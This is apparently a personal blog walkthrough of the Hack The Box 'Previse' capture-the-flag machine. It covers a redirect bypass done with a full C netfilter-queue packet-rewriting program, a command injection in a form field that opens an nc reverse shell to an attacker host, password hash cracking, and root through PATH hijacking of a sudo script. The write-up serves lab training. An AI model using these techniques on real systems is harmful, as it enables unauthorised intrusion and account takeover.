Hack the box — Previse Walkthrough
Hello and welcome to my first blog. Today I’m going to show what steps I took to hack (pwn) the Previse box in HTB (CTF)
To be clear, it’s not the fastest or most efficient way to do it, nor is it the way most pentesters would/should do it, but in my opinion, it is the way that will give me (you) the best long term skills to hack any machine, and also a deep understanding of how things really work, even if the hacking attempt takes longer than expected. But since I take this as a training, I care more about learning than competing.
OK, let’s do it. First, as usual, let’s enumerate exposed services with nmap:
OK, we have openssh + apache here. Apache is a bit old, we may (or may not) be able to exploit it. Let’s put that thought away and look for vulnerabilities on the web. A login page pops up after some investigation.
If we investigate the source code of login.php, we don’t get much, as the php code has been remotely interpreted and we only get the final html. Since we now know that apache is using php, a good idea is to try to brute force which php files are stored in the web server, with a big ass word list.
gobuster dir — url http://X.X.X.X — wordlist /usr/share/wordlists/dirb/big.txt -x php
OK, we have some files here. I wonder what accounts.php can do. OK, lets try to access it via browser, with F12 network tab enabled (always)
Of course, we get a 302 redirect to the login page, since we are not logged in. We may need a cookie to get past this page.
If we try other phps with the network tab activated, and look closely at the headers, we will see that the content-lenght is changing, even after we are being redirected to the login page. Strange.
When browsers don’t help, I tend to use (overuse) curl to debug. So let’s replicate the cURL in the browser with a right-click and see what is happening.
Even after being redirected to the login page, the web server is sending me the accounts html. Two actions here: Try to create a user with a POST request using curl or try to modify the HTTP payload so that instead of receiving “302 found”, we receive “200 OK”, and therefore the browser understand that it must display the page. I suppose that there should be some kind of option to ignore redirects in Firefox, so that could be another option. I will go with the payload modification for the sake of learning
Most walk-throughs will use burp suite for this scenario. Sure, machines should be hacked in the easier/faster way, but if you always use hackers tools, you will be limited to those tools. If by any means this service wasn’t HTTP, but any other protocol, burp suite wouldn’t be really useful here. And what if you couldn’t use graphical tools by any reason? Besides, I love consoles :)
One way of doing it, is with NFQUEUE target in iptables. The idea is simple: We redirect the ipv4 packet to an userspace program, created by us, so we can later inspect and modify it before the final application (browser) receives it.
We can do it with python, using netfilterqueue library + scapy:
Explanation: We bind the program to the nf queue 0, and call the modify_and_accept callback function passing the packet. This callback function translates the IP packet to scapy’s format, and then modifies the TCP payload. We have to recalculate the length and checksum of the IP header, and the checksum of the TCP header. Afterwards, we reinject the new packet, and accept it.
We can also do it in C, just “for the fun”, using libnetfilter_queue library. It’s quite overkill, and careless, but anyway, here is the code:
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <libmnl/libmnl.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink_conntrack.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/linux_nfnetlink_queue.h>
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/libnetfilter_queue_udp.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <net/ethernet.h>
#include <linux/udp.h>
#include <linux/tcp.h>
#include <linux/ip.h>
#include <string.h>
static char *payload_original = NULL;
static char *payload_replace = NULL;void replaceString(char * original_string, char * search_string, char * replace_string) {
char buffer[65536] = {0};
char * ch;
if(!(ch = strstr(original_string, search_string)))
return;
//copy all the content to buffer before the first occurrence of the search string
strncpy(buffer, original_string, ch — original_string);//prepare the buffer for appending by adding a null to the end of it
buffer[ch-original_string] = 0;
//append using sprintf function
sprintf(buffer + (ch — original_string), “%s%s”, replace_string, ch + strlen(search_string));
//empty o_string for copying
original_string[0] = 0;
strcpy(original_string, buffer);//pass recursively to replace other occurrences
return replaceString(original_string, search_string, replace_string);
}int packetHandler(struct nfq_q_handle *q_handle, struct nfgenmsg *nfmsg, struct nfq_data *nfa, void *data_void) {
struct nfqnl_msg_packet_hdr *ph = NULL;
unsigned char *rawData = NULL;//get packet metaheader
ph = nfq_get_msg_packet_hdr(nfa);
int len = nfq_get_payload(nfa, &rawData);//get IP packet
struct pkt_buff * packet = pktb_alloc(AF_INET, rawData, len, 0x1000);
struct iphdr *ip = nfq_ip_get_hdr(packet);//set TCP field in IP packet
nfq_ip_set_transport_header(packet, ip);if(ip->protocol == IPPROTO_TCP) {
//get tcp header
struct tcphdr *tcp = nfq_tcp_get_hdr(packet);//get payload
void *payload = nfq_tcp_get_payload(tcp, packet);
char *payload_string = (char *) payload;//get payload lenght, return if payload lesser or equal 0
unsigned int payloadLen = nfq_tcp_get_payload_len(tcp, packet);
payloadLen -= tcp->doff * 4;
if ( ((int)payloadLen) <= 0 )
return nfq_set_verdict(q_handle, ntohl(ph->packet_id), NF_ACCEPT, 0, NULL);printf(“payload lenght: %d\n”, payloadLen);
//modify payload
printf(“Payload before:\n%s\n\n”, payload_string);
replaceString((char *)payload_string, payload_original, payload_replace);
printf(“Payload after:\n%s\n\n”, payload_string);//recalculate checksum
nfq_tcp_compute_checksum_ipv4(tcp, ip);//return payload and ACCEPT
return nfq_set_verdict(q_handle, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(packet), pktb_data(packet));
}//if not tcp, then DROP
return nfq_set_verdict(q_handle, ntohl(ph->packet_id), NF_DROP, 0, NULL);
}int main(int argc, char *argv[]) {
char buf[128000] __attribute__ ((aligned));
struct nfq_handle *handle = NULL;
struct nfq_q_handle *q_handle = NULL;
long queue_id = 0;
int fd = 0;if(geteuid() != 0){
fputs(“Run as root\n”, stderr);
exit(EXIT_FAILURE);
}if (argc != 4) {
printf(“Usage: %s [queue_num] [payload_original] [payload_replace]\n”, argv[0]);
printf(“Example: %s 0 \”HTTP/1.1 302 Found\” \”HTTP/1.1 200 OK\”\n”, argv[0]);
exit(EXIT_FAILURE);
} else {
queue_id = atoi(argv[1]);
payload_original = argv[2];
payload_replace = argv[3];
}handle = nfq_open();
if (!handle) {
perror(“nfq_open”);
exit(EXIT_FAILURE);
}if (nfq_unbind_pf(handle, AF_INET) < 0) {
perror(“nfq_unbind_pf”);
exit(EXIT_FAILURE);
}if (nfq_bind_pf(handle, AF_INET) < 0) {
perror(“nfq_bind_pf”);
exit(EXIT_FAILURE);
}q_handle = nfq_create_queue(handle, queue_id, &packetHandler, NULL);
if (!q_handle) {
perror(“nfq_create_queue”);
exit(EXIT_FAILURE);
}//set queue length before start dropping packages
nfq_set_queue_maxlen(q_handle, 100000);//set the queue for copy mode
if (nfq_set_mode(q_handle, NFQNL_COPY_PACKET, 0xffff) < 0) {
perror(“nfq_set_mode”);
exit(EXIT_FAILURE);
}//getting the file descriptor
fd = nfq_fd(handle);int numbytes = 0;
while (1) {numbytes = recv(fd, buf, sizeof(buf), 0);
if (numbytes >= 0) {
nfq_handle_packet(handle, buf, numbytes);
} else {
perror(“recv”);
nfq_destroy_queue(q_handle);
nfq_close(handle);
exit(EXIT_FAILURE);
}
}nfq_destroy_queue(q_handle);
nfq_close(handle);
return 0;
}
Explanation: The same, but much more tedious. We get the IP header, and then check for the “protocol” field, which is an IPv4 field that tells us which protocol goes next in the stack. If this protocol equals the hex number “0x06” (TCP), we continue. We can get the pointer to the TCP payload using some nfq function or using the IP header length and TCP data offset fields.
struct iphdr *iph = ((struct iphdr *) data);
unsigned short iphdrlen = iph->ihl * 4;
struct tcphdr *tcph = (struct tcphdr *) (data + iphdrlen);
unsigned short tcphdrlen = tcph->doff * 4;
unsigned short data_payload_lenght = iph->tot_len — iphdrlen — tcphdrlen;
unsigned char *data_payload = data + iphdrlen + tcphdrlen;
Once we have the char pointer for our payload, we can replace the content we want, and reinject it back.
For the program to receive packets, we have to add an iptables rule so this packet, containing “HTTP/1.1 302 Found” string, is redirected to the program:
iptables -t mangle -A PREROUTING -s X.X.X.X/32 -p tcp -m tcp — sport 80 -m string — algo bm — string “HTTP/1.1 302 Found” -j NFQUEUE — queue-num 0
If everything is OK,we should see the accounts.php page
OK, we are in. We see there is a files page with a site backup. If we download it, we can check the source code for most of all php scripts, and we can even get the mysql user and password. This really simplifies things.
We have also a chance of uploading a file/payload to the server, with a possibility of executing a remote shell.
It’s always good idea to check how the browser if making the POST request when uploading a file, and then replicate it with curl. Most browsers allow you to replicate the browser requests to curl requests. Again, you could use some fancy hacker tool for this, but you wouldn’t really understand what's happening in the deeps. After some trying, this worked
curl ‘http://X.X.X.X/logs.php' -H ‘Accept: */*’ -H ‘Content-Type: application/x-www-form-urlencoded’ -H ‘Cookie: PHPSESSID=YOUR_COOKIE’ — compressed — data-urlencode ‘delim=comma && nc -e /bin/sh X.X.X.X 1234’
OK, we are in. Let’s try to use the mysql credentials. Unfortunately, this reverse shell is pretty dumb, and will not prompt for mysql password. We have to upgrade the shell. Good link here: https://zweilosec.github.io/posts/upgrade-linux-shell/
Once the shell is upgraded, lets log in mysql, and get user credentials
OK, we have our admin1234 user and m4lwhere. I wonder if this guy has an account in the system
Yes, he has. We may get in with ssh, if we are able to crack the hash
Lets interpret the hash. Its format resembles to /etc/shadow. $1 may be md5 or so, then we have the salt, which is formed by a strange square + space + llol string, and finally the hash. This square + space could be a special character that the terminal is unable to show. Lets copy it to some editor/browser and see if we can make it show.
I have to admit, I find it quite funny
At first I tried to reverse engineer the hash using the login.php code that hashes the password, but it was too slow. Even though I had the entire wordlist on memory, I didn’t really pull it off, as the approach I took was quite inefficient.
while read -r pass; do echo “trying $pass…”; php crack.php $pass | grep -q DQpmdvnb7EeuO6UaqRItf && { echo “success pass found! — $pass”; break; }; done </dev/shm/rockyou.txt
Let’s try using john for this. It should be much more faster
This password was the X.XXX.XXX line on the wordlist. It would have taken me more than 4 hours to crack it using the last approach. Good idea I changed my mind.
Ok, lets try ssh
Ok, we are inside.
It’s always good idea to check for sudo priviledges.
Bingo! Lets see if we have read permissions for this script
Ok, I see one way of attacking this. There is no PATH hardcored in the script, and gzip/date don’t have the full path of the binary specified. We may be able to specify our custom path, and execute our own gzip program.
This script is simple, it only changes the root password to 123456789 using chpasswd, a non-interactive program to change user accounts. OK, lets run it, and try to log in as root using the simple password
We are root 💀
Have a nice day. I will be back with some more.